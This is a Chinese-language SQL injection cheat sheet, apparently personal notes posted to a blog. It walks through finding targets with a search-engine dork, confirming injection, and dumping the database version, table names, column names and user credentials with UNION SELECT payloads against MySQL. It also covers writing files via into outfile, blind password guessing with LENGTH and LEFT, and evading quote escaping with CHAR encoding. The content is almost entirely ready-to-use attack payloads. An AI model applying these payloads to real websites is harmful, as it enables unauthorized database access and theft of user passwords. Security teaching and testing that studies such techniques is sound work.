sql注入

首先设置浏览器,工具--internet选项--安全--找到“显示友好的http信息”,把前面的勾去掉;

寻找注入点
  谷歌搜索小技巧:筛选关键字:"inurl:/news/read.php?id="
熟悉数据库类型
 1>Microsoft JET Database Engine 错误 '80040e14'
  Access数据库,通过JET引擎连接数据库
 2>
----------------------------------------------------------
1 .看有无注入可能
and 1=1 ,然后 and 1=2
2 .爆数据库
   and ord(mid(version(),1,1))>51  //ord返回整型数据
   UNION SELECT 1,CONCAT_WS(CHAR(32,58,32),user(),database(),version()) #
   Mysql 5 以上有内置库 information_schema,存储着mysql的所有数据库和表结构信息
3 .爆表
 union select 1,concat(table_name) from information_schema.tables where table_schema=database() #
4 .爆字段
 union select 1,1,1,****1,1 返回正确 确认字段数
 order by 2
 and 1=2 union select column_name,column_name from information_schema.COLUMNS where table_name ='users' #
5 .爆用户名、密码
 and 1=2 Union select 1,2,3,用户名段,5,6,7,密码段,8,9 from 表名 limit 0,1
 UNION SELECT 1,concat(user,0x3a,password) from users #     0x3a==>:
------------------------
注释符:# 、/*、--
多条数据显示:concat()、concat_ws()、group_concat()
相关函数:system_user()、user()、current_user()、database()、version()、load_file()、@@datadir、@@basedir、@@version_compile_os
MD5: http://www.md5.com.cn  ;
md5():select * from users where username='tarena' and password=md5('admin')
数据库权限:and ord(mid(user(),1,1))=114
MYSQL上的语句放在 /*! ... */ 中,这样这些语句如果在其它数据库中是不会被执行,但在MYSQL中它会执行
导出文件:1' and 1=2 union select user_id,password from users into outfile 'f:/study/1.txt' #
LIKE:SELECT * FROM article WHERE title LIKE '%%' ORDER BY articleid/*%' ORDER BY title DESC
探测密码长度: http://127.0.0.1/injection/user.php?username=angel ' and LENGTH(password)='6
LEFT()、RIGHT()、MID()函数猜密码: http://127.0.0.1/injection/user.php?username=angel ' and LEFT(password,2)='my
当magic_quotes_gpc为on时:整形的数据是不需要用引号引起来的,而字符串就要用引号,这样可以避免很多问题。
                         但是如果仅仅用整形数据,我们是没有办法注入的,所以我需要把我们构造的语句转换成整形类型,这个就需要用到CHAR(),ASCII(),ORD(),CONV()这些函数

你可能感兴趣的:(sql注入,安全)